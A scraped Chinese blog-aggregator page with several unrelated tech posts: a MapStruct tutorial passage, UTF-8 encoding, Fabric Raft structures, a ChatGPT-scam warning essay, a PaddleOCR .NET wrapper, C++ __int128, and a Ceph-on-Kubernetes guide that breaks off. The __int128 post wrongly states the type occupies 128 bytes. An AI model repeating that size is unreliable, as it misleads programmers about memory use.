"brandTypeName",qualifiedByName ="convertBrandTypeName") private Integer brandType; @Named("convertBrandTypeName") public String convertBrandTypeName(Integer brandType){ return BrandTypeEnum.getDescByValue(brandType); } @Named("convertBrandTypeName") public Integer convertBrandType(String brandTypeName){ return BrandTypeEnum.getValueByDesc(brandTypeName); } } 5.3 生成结果 使用 maven 打包或者编译后观察,此时在 target/generated-source/annotatins 目录中生成两个文件 PersonToStudentAssembler 和 PersonToStudentAssemblerImpl 类文件 PersonToStudentAssembler 是由自定义注解器自动生成,内容如下 @Mapper( config = AutoMapSpringConfig.class, uses = {Person.class} ) public interface PersonToStudentAssembler extends AlpacaBaseAutoAssembler<Person, Student> { @Override @Mapping( target = "age", source = "sax", ignore = false ) @Mapping( target = "dateStr", dateFormat = "yyyy-MM-dd", source = "date", ignore = false ) @Mapping( target = "brandTypeName", source = "brandType", ignore = false, qualifiedByName = "convertBrandTypeName" ) Student copy(final Person source); } PersonToStudentAssemblerImpl 是 mapstruct 根据 PersonToStudentAssembler 接口注解器自动生成,内容如下 @Component public class PersonToStudentAssemblerImpl implements PersonToStudentAssembler { @Autowired private Person person; @Override public Person reverseCopy(Student arg0) { if ( arg0 == null ) { return null; } Person person = new Person(); person.setSax( arg0.getAge() ); try { if ( arg0.getDateStr() != null ) { person.setDate( new SimpleDateFormat( "yyyy-MM-dd" ).parse( arg0.getDateStr() ) ); } } catch ( ParseException e ) { throw new RuntimeException( e ); } person.setBrandType( person.convertBrandType( arg0.getBrandTypeName() ) ); person.setMake( arg0.getMake() ); person.setType( arg0.getType() ); return person; } @Override public Student copy(Person source) { if ( source == null ) { return null; } Student student = new Student(); student.setAge( source.getSax() ); if ( source.getDate() != null ) { student.setDateStr( new SimpleDateFormat( "yyyy-MM-dd" ).format( source.getDate() ) ); } student.setBrandTypeName( person.convertBrandTypeName( source.getBrandType() ) ); student.setMake( source.getMake() ); student.setType( source.getType() ); return student; } } 5.4 Spring 容器引用 此时在我们的 spring 容器中可直接 @Autowired 引入接口 PersonToStudentAssembler 实例进行四种维护数据相互转换 AnnotationConfigApplicationContext applicationContext = new AnnotationConfigApplicationContext(); applicationContext.scan("com.jdl.alpaca.mapstruct"); applicationContext.refresh(); PersonToStudentAssembler personToStudentAssembler = applicationContext.getBean(PersonToStudentAssembler.class); Person person = new Person(); person.setMake("make"); person.setType(SexType.BOY); person.setSax(100); person.setDate(new Date()); person.setBrandType(1); Student student = personToStudentAssembler.copy(person); System.out.println(student); System.out.println(personToStudentAssembler.reverseCopy(student)); List<Person> personList = Lists.newArrayList(); personList.add(person); System.out.println(personToStudentAssembler.copyL(personList)); System.out.println(personToStudentAssembler.reverseCopyL(personToStudentAssembler.copyL(personList))); 控制台打印: personToStudentStudent(make=make, type=BOY, age=100, dateStr=2022-11-09, brandTypeName=集团KA) studentToPersonPerson(make=make, type=BOY, sax=100, date=Wed Nov 09 00:00:00 CST 2022, brandType=1) personListToStudentList[Student(make=make, type=BOY, age=100, dateStr=2022-11-09, brandTypeName=集团KA)] studentListToPersonList[Person(make=make, type=BOY, sax=100, date=Wed Nov 09 00:00:00 CST 2022, brandType=1)] 注意: qualifiedByName 注解属性使用不太友好,如果使用到此属性时,需要定义反转类型转换函数。因为在前面我们定义的抽象接口 AlpacaBaseAutoAssembler 有如下图一个注解,从目的对象到源对象的反转映射,因为 java 的重载性,同名不同参非同一个方法,所以在 S 转 T 的时候回找不到此方法。故需要自行定义好转换函数 @InheritInverseConfiguration(name = "copy") 比如从 S 转换 T 会使用第一个方法,从 T 转 S 的时候必须定义一个同名 Named 注解的方法,方法参数和前面方法是入参变出参、出参变入参。 @Named("convertBrandTypeName") public String convertBrandTypeName(Integer brandType){ return BrandTypeEnum.getDescByValue(brandType); } @Named("convertBrandTypeName") public Integer convertBrandType(String brandTypeName){ return BrandTypeEnum.getValueByDesc(brandTypeName); } 在使用 qualifiedByName 注解时,指定的 Named 注解方法必须定义为 spring 容器可管理的对象,并需要通过模型类注解属性 used 引入此对象 Class 知识点: InheritInverseConfiguration 功能很强大,可以逆向映射,从上面 PersonToStudentAssemblerImpl 看到上面属性 sax 可以正映射到 sex,逆映射可自动从 sex 映射到 sax。但是正映射的 @Mapping#expression、#defaultExpression、#defaultValue 和 #constant 会被逆映射忽略。此外某个字段的逆映射可以被 ignore,expression 或 constant 覆盖 6 结束语 参考文档: https://github.com/google/auto/tree/master/service https://mapstruct.org/ https://github.com/square/javapoet
2024-01-19
121
0
0
网络聚合
2024-01-19
UTF-8编码
介绍 UTF-8 编码 UTF-8 是一种针对 Unicode 的可变长度字符编码。 针对 Unicode:UTF-8 是 Unicode 的实现方式之一。相当于 Unicode 规定了字符对应的代码值,这个代码值需要转换为字节序列的形式,用于数据存储、传输。代码值到字节序列的转换工作由 UTF-8 来完成。 可变长度字符编码:UTF-8 使用一至四个字节对 Unicode 字符集中的所有有效代码点进行编码。 UTF-8 使用 1 个字节表示 ASCII 字符; UTF-8 使用 2 个字节表示带有附加符号的拉丁文、希腊文等; UTF-8 使用 3 个字节表示其他基本多文种平面(BMP)中的字符(包含了大部分常用字,如大部分的汉字); UTF-8 使用 4 个字节表示 Unicode 辅助平面的字符。 技术是为了解决问题而生的,UTF-8 编码是为了解决什么问题而设计的呢?UTF-8 是为了兼容 ASCII 编码而设计的。 ASCII 编码使用 1 个字节表示 ASCII 字符,而 Unicode 最初规定使用 2 个字节来表示所有的 Unicode 字符。如果使用 2 个字节来表示 ASCII 字符的话,那么含有大量 ASCII 字符的文本将浪费大量的存储空间。 UTF-8 编码使用 1 个字节来表示 ASCII 字符,而且字面与 ASCII 码的字面一一对应,这使得原来处理 ASCII 字符的软件无须或只须做少部分修改,即可继续使用。 UTF-8 编码的规则 Unicode 和 UTF-8 之间的转换关系表(x 字符表示码点占据的位) 码点的位数 码点起值 码点终值 Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 7 U+0000 U+007F 1 0xxxxxxx 11 U+0080 U+07FF 2 110xxxxx 10xxxxxx 16 U+0800 U+FFFF 3 1110xxxx 10xxxxxx 10xxxxxx 21 U+10000 U+1FFFFF 4 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 31 U+4000000 U+7FFFFFFF 6 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx UTF-8 编码的规则: 在 ASCII 码范围内的代码点,UTF-8 使用 1 个字节表示。 大于 ASCII 码范围的代码点,UTF-8 使用多个字节表示。UTF-8 使用第一个字节的前几位表示该 Unicode 字符的字节长度(第一个字节的开头 1 的数目就是该 Unicode 字符的字节长度),其余字节的前两位固定为 10,作为标记 如果第一个字节的前两位为 1,第三位为 0(110xxxxx),则表示 UTF-8 使用 2 个字节表示该 Unicode 字符; 如果第一个字节的前三位为 1,第四位为 0(1110xxxx),则表示 UTF-8 使用 3 个字节表示该 Unicode 字符; 依此类推; 如果第一个字节的前六位为 1,第七位为 0(1111110x),则表示 UTF-8 使用 6 个字节表示该 Unicode 字符; UTF-8 编码的字节含义:对于 UTF-8 编码中的任意字节 B: 如果 B 的第一位为 0(0xxxxxxx),则 B 独立的表示一个 ASCII 字符; 如果 B 的第一位为 1,第二位为 0(10xxxxxx),则 B 为一个多字节表示的字符中的一个字节; 如果 B 的前二 / 三 / 四 / 五 / 六位为 1,其余位为 0,则 B 为二 / 三 / 四 / 五 / 六个字节表示的字符中的第一个字节。 UTF-8 编码示例 Unicode/UTF-8-character table (utf8-chartable.de) 通过 UTF-8 编码表,我们可以看到中文字符 “一” 的 Unicode 代码点为 "U+4E00",UTF-8 编码结果为 "e4 b8 80", 对中文字符 “一” 进行 UTF-8 编码,是如何得到 "e4 b8 80" 的呢?我们下面来看。 "4E00" 的二进制表示为 "0100 1110 0000 0000"。 UTF-8 使用 3 个字节表示常用的汉字,因此中文字符对应的字节序列格式为:"1110xxxx 10xxxxxx 10xxxxxx" 于是中文字符 “一” 的 UTF-8 编码结果为 "11100100 10111000 10000000",它的十六进制表示为 "e4 b8 80" public static void main(String[] args) throws UnsupportedEncodingException { byte[] bytes = "一".getBytes("UTF-8"); // [-28, -72, -128] System.out.println(Arrays.toString(bytes)); } UTF-8 编码的优劣局限 UTF-8 编码的优点 UTF-8 和 ASCII 兼容:ASCII 是 UTF-8 的一个子集。因为一个纯 ASCII 字符串也是一个合法的 UTF-8 字符串,所以现存的 ASCII 文本不需要转换。为传统的扩展 ASCII 字符集设计的软件通常可以不经修改或很少修改就能与 UTF-8 一起使用。 任何面向字节的字符串搜索算法都可以用于 UTF-8 的数据(只要输入仅由完整的 UTF-8 字符组成)。UTF-8 可以保证一个字符的字节序列不会包含在另一个字符的字节序列中。而有些比较旧的可变长度字符编码(如Shift JIS)没有这个特质,故它们的字符串搜索算法变得相当复杂。 UTF-8 字符串可以由一个简单的算法可靠地识别出来。由于 UTF-8 字节序列的设计,如果一个疑似为字符串的序列被验证为 UTF-8 编码,那么我们可以有把握地说它是 UTF-8 字符串。一个字符串在任何其它编码中表现为合法的 UTF-8 的可能性很低,可能性随着字符串长度的增长而减小。 举例说明,字符值 C0、C1、F5 至 FF 从来没有出现。为了更好的可靠性,可以使用正则表达式来统计非法过长和替代值(可以查看W3 FAQ: Multilingual Forms上的验证 UTF-8 字符串的正则表达式)。 UTF-8 编码可以通过屏蔽位 和 移位操作快速读写:屏蔽位是指将字节的高位置零,以便获取低位的值;移位操作是指将字节的低位移动到高位,以便获取高位的值。这样,可以快速读取和写入 UTF-8 编码的字符。 UTF-8 编码的缺点 UTF-8 编码不利于使用正则表达式进行读音检索 正则表达式可以进行很多高级的英文模糊检索。比如,[a-h] 表示 a 到 h 间的所有字母。 同样 GBK 编码的中文也可以这样利用正则表达式,比如在只知道一个字的读音而不知道怎么写的情况下,也可用正则表达式检索,因为 GBK 编码是按读音排序的。虽然正则表达式检索并未考虑中文的多音字,但是由于中文的多音字数量不多,不少多音字还是同音不同调类型的多音字,所以大多数情况下正则表达式检索是还可以接受的。 但是 Unicode 汉字不是按读音排序的,它是按部首排序,所以不利于用正则表达式进行读音检索。在只知道一个字的部首而不知道如何发音的情况下,UTF-8 可用正则表达式检索而 GBK 不行。 UTF-8 的 ASCII 字符只占用一个字节,比较节省空间,但是更多字符的 UTF-8 编码占用的空间就要多出1/2,特别是中文、日文和韩文(CJK)这样的方块文字,它们大多需要三个字节。 无法根据 Unicode 字符数判断出 UTF-8 文本占用的字节数。因为 UTF-8 是一种可变长度字符编码。 参考资料 UTF-8 - 维基百科,自由的百科全书 (wikipedia.org) Unicode/UTF-8-character table (utf8-chartable.de)
2024-01-19
149
0
0
网络聚合
2024-01-19
Fabric2.x中Raft共识算法核心数据结构
一、共识算法可插拔的代码体现Chain接口 Hyperledger Fabric的共识算法是可插拔的,在代码上体现为Chain接口,所有不同的共识算法均可根据Chain接口进行具体实现,目前fabric支持solo、kafka、raft、sbft等共识算法。Chain接口的代码在fabric/orderer/consensus/consensus.go中 // Chain定义了为ordering注入messages的方式,这种设计允许如下两种流程: // 1.消息被排序为流,流被切割成块,块被提交(solo,kafka) // 2.消息被切成块,块被排序,然后块被提交(sbft) type Chain interface { // 排序函数,env是交易信息,configSeq是自增序号,每次有配置更新时都会+1,以确保交易是在最新的config下进行 Order(env *cb.Envelope, configSeq uint64) error // 处理配置交易,提交后更新configSeq Configure(config *cb.Envelope, configSeq uint64) error // 超过max in-flight限制的消息会被阻塞,等待in-flight先执行完 WaitReady() error // 当发生error时,会返回一个空channel Errored() <-chan struct{} // 分配与Chain保持最新数据的资源 Start() // 刷新分配给Chain的资源 Halt() } 二、Fabric的raft共识算法Chain结构体 Hyperledger Fabric对Raft算法的核心实现代码都是放在fabric/orderer/consensus/etcdraft包下的,这里主要包含几个核心的数据结构,即Chain结构体和node结构体。 Chain结构体实现了Chain接口,代码位于orderer/consensus/etcdraft/chain.go,它里面主要定义了一些通道(channel)用于节点间的通信,以便根据通信消息做相应的操作。 // Chain implements consensus.Chain interface. type Chain struct { configurator Configurator rpc RPC // 节点与外部节点进行通信的对象,RPC 是一个接口,包含两个方法SendConsensus 和 SendSubmit。前面这种用于节点间 raft 信息的通讯,后者用于转发交易请求给 leader 节点。 raftID uint64 channelID string lastKnownLeader uint64 ActiveNodes atomic.Value submitC chan *submit // 接收 Orderer 客户端提交的共识请求消息的通道 applyC chan apply // 接收 raft 节点间应用消息的通道 observeC chan<- raft.SoftState haltC chan struct{} doneC chan struct{} startC chan struct{} snapC chan *raftpb.Snapshot //接收 raft 节点快照数据的通道 gcC chan *gc … Node *node // fabric封装了底层 etcdraft 库的节点实例 … } 三、Fabric的raft共识算法node结构体 node结构体封装了底层ercdraft库的节点实例,代码位于orderer/consensus/etcdraft/node.go,主要用于将Fabric自己实现的Raft上层应用和etcd的底层Raft实现连接起来,可以说node结构体是它们之间通信的桥梁,正是它的存在屏蔽了Raft实现的细节。 type node struct { chainID string logger *flogging.FabricLogger metrics *Metrics unreachableLock sync.RWMutex unreachable map[uint64]struct{} tracker *Tracker storage *RaftStorage config *raft.Config rpc RPC chain *Chain // fabric自己定义的Chain结构体,具体在orderer/consensus/etcdraft/chain.go中 tickInterval time.Duration clock clock.Clock metadata *etcdraft.BlockMetadata subscriberC chan chan uint64 raft.Node // raft底层的Node接口 } 四、小结 Fabric的raft共识算法通过Chain结构体实现可插拔的共识算法Chain接口;又通过node结构体,实现对etcdraft底层算法实现细节的封装。Chain结构体和node结构体是承上启下的一层,fabirc的raft共识算法启动、交易处理流程均围绕上述两个结构体进行。下一篇博客将围绕fabric的raft共识算法启动流程进行分析。
2024-01-19
117
0
0
网络聚合
2024-01-19
我来泼盆冷水:正面迎击AI的时代千万别被ChatGPT割了韭菜
前言 ChatGPT从出来的时候我就一直密切关注,为此还加了不少群,用了不少套壳的程序,公司还开了专门的培训会,技术团队还为此搭建了接入ChatGPT的服务,帮助全公司的产品、商务、测试、运维、研发一起对ChatGPT做直观了解以及认知。 时隔数月,我才又重新写一篇文章,借此表达对ChatGPT的看法,帮助大家减少一些浮躁的心情。 因为之前我有写过一篇关于副业防骗的文章:https://www.cnblogs.com/fulongyuanjushi/p/16843513.html 为此我还受到不少攻击,如果是经常关注我的人应该知道,我不是经常发文的,这个通过我发文的时间就可以看出来,主要还是以技术为主,这次蹭热点发文,主要是发现加了我好友的不少同行因为ChatGPT影响了学习的态度,所以我专门从另一个角度来写关于ChatGPT文章,希望给大家一些我觉得正确的认识。 AI诈骗 为什么一上来就说这个呢,因为我明显发现骗子们开始按捺不住了,混在人群中放冷箭,但大家依然徜徉在ChatGPT的海洋中不可自拔,殊不知黑手已经在身边。 因为今年这个东西才真的火起来,所以骗子们一开始也没有研究出太多套路,我借用河南省反诈骗中心揭露的骗局和危害给大家一些清醒的认识。 1)、骗取使用费 国内涌现一批名字中包含"ChatGPT"的微信公众号、小程序产品,这些产品使用ChatGPT的官方图标当头像,通过免费试用吸引用户,一旦免费次数用尽就开始收取费用; 河南省反诈骗中心温馨提醒:ChatGPT目前还没有国内版本,那些所谓可以代问、代注册的软件或者小程序,顶着ChatGPT官方图标当头像,打着先免费试用的幌子,他们有的是收取高额费用给你牵线搭桥的违法中介;有的甚至是在你充值或者购买会员后就会突然跑路的骗子,只不过是蹭着ChatGPT的热点,在盯着你的钱袋子。 2)、钓鱼邮件 不法分子在境外会使用ChatGPT生成针对特定人或者组织的“鱼叉式”网络钓鱼邮件,致使邮件接收方更容易上当受骗,接收者一旦点击该邮件,系统就会被恶意代码感染中毒。 不法分子锁定目标人群或者组织趁虚而入,生成鱼叉式网络钓鱼邮件,一旦点开这些邮件,系统就会被恶意代码感染中毒,甚至掉入电信网络诈骗的陷阱。 3)、泄露个人信息 不法分子利用用户注册使用仿冒的ChatGPT,从而获取用户姓名、电话、银行卡号、身份证号码等个人信息,为实施电信网络诈骗设好圈套。 目前,ChatGPT的开发者、人工智能研究机构OpenAl并没有在中国大陆提供有关ChatGPT的服务,也没有相应的公司运营。请务必提高警惕,分辨网上信息真伪,切勿轻易泄露个人信息。 这一点希望大家注意,这是一种电信+AI联合诈骗的手段,未来诈骗集团可能会强强联合,信息安全将成为一个沉重的话题。 警方提醒 同样的,还存在一些有组织的团伙进行诈骗,手法老套但却利用了从众的心理。这里借用南宁市公安局福建园派出所社区民警周鼎晨揭露的骗局给大家了解下: 1)、有一些山寨的小程序或者是APP,然后就是把这个头像换成是ChatGPT一样的,但是经过我们的认证,就是跟真正的这个ChatGPT, 回答的答案是完全不一样的,另一方面的话,它可能是首次使用免费,后面也会继续收取高额的费用。 2)、有不法分子他会利用这个ChatGPT来生成与提问者相关的一些链接,然后当你点进去的时候, 链接它就会进行一个比较特定的攻击,会恶意获取你电脑里面的内容。 3)、不法分子还可能会利用智能聊天软件拟人的聊天对话能力,冒充真实的人或者组织骗取他人信息等。 我认为第3点会是未来主要的诈骗手段,同时会衍生出各种花样和套路。 如果ChatGPT是李逵,那么国内有不少是李鬼,注意别被割了韭菜而不自知。 一些打着套壳程序的产品很可能是披着羊皮的狼,目前ChatGPT刚火起来,你们需要一定的时间来认知和吸收,对于骗子也是如此,他们目前也在研究骗法,如何发展出新时代的套路是他们当前研究的重要课题。 我大胆预测未来两年,会出现接近于ChatGPT的各种仿冒伪劣产品,内核其实是有组织、有资源、有规模的AFI,也就是人工诈骗智能,其中最突出的肯定是FraudGPT。 法律红线 接下来,我想对很多正在依靠ChatGPT谋利的同行们做一个提醒,那就是千万不要踩法律红线,否则得不偿失。 有别于一些诈骗团伙,一部分人其实还是借着真东西来谋利的,这部分人的做法我认为初衷是好的,就是简单的交易变现,但要特别注意遵守国内的法律,尤其是互联网安全相关的法律,如果违反的话其实判的还是挺重的,你们可以去了解下。 我这里主要提醒两点: 1)、商标这块,一定注意不要违反商标法,这块很多人是没当回事的,比如ChatGPT的商标,它即使没有注册本身也受法律保护,因为它已经驰名了,你们可以去查找商标法的资料; 2)、转接服务,这块就是当下最多人干的事情,转接国外的API接口从注册到落地阶段都有可能是违法的,最严重的就是很可能触及国内的网络安全和数据安全管理法,下面我摘录的一段法治网的文章中标注的内容: 转接服务者首先绕开了国家公用电信网提供的国际出入口信道,为用户提供接入ChatGPT的服务,提供能使他人访问国内IP不能访问的境外网站的“转接”服务,该行为不仅违反了电信条例、互联网信息服务管理办法,其行为极有可能触犯刑法第285条规定的提供侵入、非法控制计算机信息系统程序、工具罪,处最高七年有期徒刑并处罚金。 3)、代注册和卖账号,其实做这个买卖的人本身就知道是违法的,纯粹就是铤而走险。下面是我摘录的另一段法治网的文章中标注的内容: 中国大陆地区是没有办法注册chatgpt账号的,只能破碎虚空进行注册,这涉嫌违反了计算机信息网络国际联网管理暂行规定。因此,这类代注册行为涉嫌非法经营,情节严重的可能会构成犯罪。而且ChatGPT无法使用中国手机号注册,消费者不能用自己现有的手机号码,那么代注册行为可能涉及到一些能够批量制造、联网、验证手机号码的“技术手段”,涉嫌违反《中华人民共和国反电信网络诈骗法》。 所以,希望同行们引以为鉴,不要给自己的职业生涯留下隐患,你目前没有事,可能只是因为没有人举报你,一旦惹上麻烦就是一辈子的事。 我的观点 ChatGPT这么火,未来的路在哪里?我不是专家,只能站在一个工作多年但其实挺普通的软件工程师的角度来看待这个问题。 1)、加强对国内ChatGPT相关热点的关注 我这里稍微说下自己浅显的看法,目前ChatGPT很火,但国内和国外分别有不同的态势。 国外是爆炸式冲击,甚至给某些国家带来了一些恐慌,意大利封禁就是一个开端,究其原因还是为了本国利益着想,但可以侧面说明国外在自然语言处理方面的研究确实走在了前面,至少已经拿出了可以让普通人也感受到变革的产品,这给我们敲响了警钟。 而国内对于ChatGPT的态度显而易见,是肯定会扶持本地厂商的,如果明白了这一点,我建议大家要开始多关注百度、阿里、腾讯等等这些大厂在ChatGPT这方面的动态,早点参与内测及研究他们的产品。 这就类似于很多年前你用Google搜索,眨眼几年之后你就发现大部分人依赖百度了,然后就是微信、支付宝,以及之后的美团、饿了么、滴滴等等如雨后春笋一般出现,哪怕是比较近的抖音、小红书、视频号这些也是谁先下场谁先获利。 你现在早点开始接触国内厂商的AI产品,其实就好比早些年你提前比别人会使用微信支付宝一样的情境,走在前面你才能早点发现机会。 2)、短期内对编程领域的冲击不大 一个原因是上一点讲过的国情原因上了一把锁,第二个原因是国内厂商在这块的发展方向着重于非编程领域,主要还是提供知识库、强化内容检索、AI作画、文学创作、智能媒体助手等等。 这些方向广泛冲击的还是一些具备重复性工作的领域,另外我有使用过一下百度的AI产品,比如AI作画,其实没有想象中的厉害,至少我觉得远不如原创画师的作品,因为完全没有灵魂。 另外就是像法律、文学、医疗等行业,可能会带来变革,但现阶段程度较小,因为这些领域不仅仅是流程化,还存在变数,需要大量人工干预; 对于编程领域而言,我暂时没看到AI从项目产品设计到编码到生产落地的完整流程化的影子,只能作为知识库和检索工具辅助研发人员的工作,这本身反而是一件好事,如何利用它让自己变得更强大才是接下来你应该关心的课题。 3)、大部分人尚不关心 普通老百姓对于我们热烈讨论的这些事情的认知其实还是一片空白,说简单点就是大部分人其实是不知道的,只有特定的圈子比如互联网行业的人了解的更多一点,其次就是网络诈骗集团了。 当这些AI产品真正开始影响到方方面面生活的时候,我敢肯定会有不少人出来反对和提出异议的,但这不会阻碍发展,此乃大势所趋。 可是会给国内厂商带来思考,就是如何降低这些社会影响,比如百度现在就开始调整思路了,他所做的AI作画即使还没有达到预期水准就已经被艺术家们联合抵制上了热搜,这就是苗头,所以接下来他们的产品都尽量打上了为民服务的标签,以辅助和提高各行业效率为主,绝不越俎代庖。 这就是害怕未来真正智能化变革给他造成反噬,最终淹没在广大人民群众的海洋里,你人工智能发展再好没用啊,你害我没饭吃,我只能起来反抗啊(笑)。 所以说,我认为在国内,人工智能的发展一定是润物细无声的,这也是国情。 4)、真正的变革需要一个契机 我认为真正的变革还没开始,因为缺少一个契机,ChatGPT虽然大火,但存在一个问题,就是大家都觉得他会改变整个生态和世界,可是他怎么改变,通过什么手段改变,还没有一个具象化的显现。 我举个例子,很多人说ChatGPT可以取代程序员了,我觉得如果排除各种可能存在的干扰,这真的是一种可以预见的现实,不仅仅存在于理论,而是他确实可以取代程序员。 但问题就在这里,目前还没有一个可行性的方案来呈现ChatGPT帮助企业完整的将一个项目从产品设计、编码、测试、上线发布、最终落地,通通都实现,最终形成流水线,我通常认为这样才是真正取代了程序员,否则依然是懂行的程序员的辅助工具,我以为你很强,原来你只是我打败敌人的黄金圣衣。 那到底ChatGPT能不能做到呢?我认为未来一定是可以的,甚至我觉得现在可能已经可以了,只是还没有一个人真的成为ChatGPT工程师,让ChatGPT将这个完整流程具象化。 当真有这么一个人或某个产品问世的时候,我觉得这个契机就来了,变革也真正开始了。 说的更通俗一点,单纯就以ChatGPT而言,如果有词圣问世了,那么真正的变革就来了,所以我们要关注这个契机的出现。 总结 以上是我当下的考量,我们面临变革的时候不要恐慌,也别急着到处去迎合ChatGPT,到处去找账号,甚至到处去花钱,一旦用不了这东西我就感觉天要塌了之类的。 还是要静极思动,先冷静的了解他,尝试使用他,多看看关于他的新闻,关注国内相关的政策,这些才是最终影响你生活的,毕竟你不是老外,如果你确定自己不会移民的话,那你还是把关注点多放在国内的产品上吧。 ChatGPT未来在国内的发展形势我大体认为不会影响编程技术人员,除非你自己放弃接触和了解,我想这样的人几乎没有吧,因为卷。 希望我这篇从另一个角度帮你认知ChatGPT的文章可以带给你一些思考,让你沉心静气,重新有条不紊地开始自己的工作学习。 敲键盘不易,转载请注明来源及作者,谢谢。
2024-01-19
84
0
0
网络聚合
2024-01-19
我做的百度飞桨PaddleOCR .NET调用库
我做的百度飞桨PaddleOCR .NET调用库 .NET Conf 2021中国我做了一次《.NET玩转计算机视觉OpenCV》的分享,其中提到了一个效果特别好的OCR识别引擎——百度飞桨PaddleOCR,可离线部署,后来我逐步把它封装了一下,代码全部开源(可点击查看原文跳转到Github):https://github.com/sdcb/paddlesharp,可以直接安装NuGet包使用,支持.NET Framework/.NET Core、支持Linux、支持GPU调用,支持14种语言模型的自动下载: 这里有使用方法和示例代码: 运行效果: 促使我给PaddleOCR做.NET封装的原因,是PaddleOCR令人惊讶的识别精度。我之前用过TesseractOCR,看到有人说是“世界上唯一”免费且好用的OCR引擎,但我发现它不好用,它的精度一直介于“可用”与“不可用”之间,处于勉强可用的状态——即使是我使用了Best的TesseractOCR模型也是如此(而且性能也不快)。 比如你看这个例子,用TesseractOCR跑的,耗时48秒,英语和数字识别还是可圈可点的,但中文……里面有空格不说,而且大量识别错误,非常不通顺,诠释了什么叫“介于可用与不可用之间”。 但PaddleOCR不同,去看看官网示例,全部都是效果爆炸的感觉,最令人我惊讶的是它的精度,尤其是文字在旋转的状态下的精度: 上文中同样的例子,在PaddleOCR中的执行结果: 可见精度好得多,耗时也只要9秒。 我是怎么封装的? 我发现市场上有人封装过,但他们都是基于C++ API,然后自己写了一层C++,然后包装成C API进行封装。这样的好处是暴露出来的C API比较简单,调用起来很方便,但缺点是不方便扩展,使用起来笨重得多,跨平台也很难。 基于C API使用起来不方便,但上层不是有咱们.NET/C#嘛,我相信再不方便的API,只要用上了C#/.NET去封装它,都能做得很方便地去调用,于是我做出了这样的一个架构(这个架构本质是模仿了OpenCvSharp4) 最底层是C API的NuGet封装包,这个用PInvoke来封装C API,它的NuGet包名字是:Sdcb.PaddleInference 与底层配套的包叫native binding包,我提供了两个,一个是基于CPU的Sdcb.PaddleInference.runtime.win64.mkl,一个是基于GPU的Sdcb.PaddleInference.runtime.win64.cuda11_cudnn8_tr7。 值得注意的是,native binding包与低层包没有任何依赖关系。 再往上层是应用包,应用包依赖于低层的推理库包Sdcb.PaddleInference,文字识别OCR就是Paddle推理库Inference的一个应用,因此提供了一个Sdcb.PaddleOCR,封装了PaddleDetector、PaddleClassificator、PaddleRecognizor以及PaddleOcrAll用来做串联 最往上层走就是扩展包,我提供了一个用于帮助用户自动下载OCR模型的Sdcb.PaddleOCR.KnownModels,注意这个扩展包与上述包没有任何引用关系。 有了这些包,我做出来的这个封装就比其它封装更有竞争力,比如能支持GPU或者不支持GPU,比如支持Linux平台,比如更换不同的模型,比如支持设置不同的参数——用户甚至可以不基于我提供的应用包,自己去使用自己的逻辑封装PaddleOCR或者其它应用。 这几天我参与了百度飞桨的一个车牌号识别的3天训练营,我发现可以从百度的BML平台下载模型之后,只需简短的改动就能将我的PaddleSharp改成支持车牌号识别: 我发现通过这些绵薄之力,能为.NET社区带来一些方便。比如有客户已经用上我的包,做了一个Word插件,是付费产品,效果很不错: 这些内容都是开源的:https://github.com/sdcb/paddlesharp,喜欢的朋友请给我一个star哦。 另外我还创建了一个QQ群,C#/.NET计算机视觉技术交流,里面也包括有关这个PaddleSharp的使用、部署答疑和技术讨论,欢迎有兴趣的同行一起参与!
2024-01-19
123
0
0
网络聚合
2024-01-19
__int128:懒人的福音
前言 这是给c++党的一点福利吧!(python根本不用写高精度) 对于一个懒懒的,不想写高精的人(就是我),每次都会遭遇到答案爆$long$ $long$的危险 比如说这道题: 题目传送门 最后的$23-25$的两个点,$long$ $long$甚至$unsigned$ $long$ $long$都无法满足,难道真的要手打高精度了吗? 不,我们有$\_$$\_$$int$$128$! 那么这到底是什么 可以吃吗 ? 关于$\_$$\_$$int$$128$ 先来看看一些常见的整数变量能存的范围与占用的字节: 类型名称 占用字节 存储范围 $int$ $4$ $-2^{31}$ ~ $2^{31}-1$ $long$ $long$ $8$ $-2^{63}$ ~ $2^{63}-1$ $unsigned$ $long$ $long$ $8$ $0$ ~ $2^{64}-1$ 再来看看$\_$$\_$$int$$128$ 存储范围为$-2^{127}$ ~ $2^{127}-1$,但是占用了$128$字节 虽然内存占的多,但存储范围依然多 那么如何使用? 输入 其实就是把快读输入改了一改 __int128 read() { __int128 x=0; int f=1; char ch=getchar(); while(ch<'0' || ch>'9') { if(ch=='-') f=-1; ch=getchar(); } while(ch>='0' && ch<='9') x=(x<<1)+(x<<3)+(ch^48),ch=getchar(); return x*f; } __int128 n=read(); 输出 其实也是把快输改了一改 void write(__int128 x) { if(x<0) x=-x,putchar('-'); if(x>9) write(x/10); putchar(x%10+'0'); } __int128 n; n=... write(n); 写在最后 $\_$$\_$$int$$128$是好,但是用的时候一定一定要注意空间限制! 当然,$\_$$\_$$int$$128$并不能完全取代高精,所以如果$\_$$\_$$int$$128$过不掉时,还是老老实实打高精吧!
2024-01-19
152
0
0
网络聚合
2024-01-19
为K8S集群准备Ceph存储
随着K8S存储接口逐渐成熟并顺势推出CSI接口规范后,原来“in-tree”(树内)模式的很多存储插件也逐步迁移到了“out-of-tree”(树外)模式的CSI插件上,甚至有些原来支持的存储卷类型都被直接移除了(例如在K8S v1.26上直接移除了 glusterfs 卷类型),查阅了一下K8S官方最新版本的存储相关(Storage/Volumes)的说明,综合最新存储支持情况,我们选择Ceph作为K8S集群的存储提供者。 首先,进入Ceph官网文档查看其安装部署方法,主要看下是否有基于K8S的安装方法,最后在官网“Installing ceph>Recommended methods”(推荐的Ceph安装方法)果然发现了基于K8S的安装方法: Ceph官方推荐在K8S集群上使用Rook来部署和管理Ceph集群! 我们进入Rook官网看看,从官网可以看出Rook是为K8S量身定制的,那就它了: Ceph是一个在大规模生产集群中提供文件、块和对象存储的分布式存储系统,而Rook是一个专门支持Ceph与云原生环境集成的开源云原生存储协调器。Rook利用K8S的Operator机制推出了自己的Rook operator,实现自动化的Ceph部署和管理。Rook作为云原生存储平台已经从CNCF顺利毕业! 以上是对Rook简要说明,接下来借助Rook在K8S集群上部署和管理Ceph。 Rook支持K8S v1.19+的版本,CPU架构为amd64、x86_64或arm64均可,除此之外部署Ceph存储集群还必须至少满足以下先决条件之一: 每个节点至少有一块裸设备(Raw 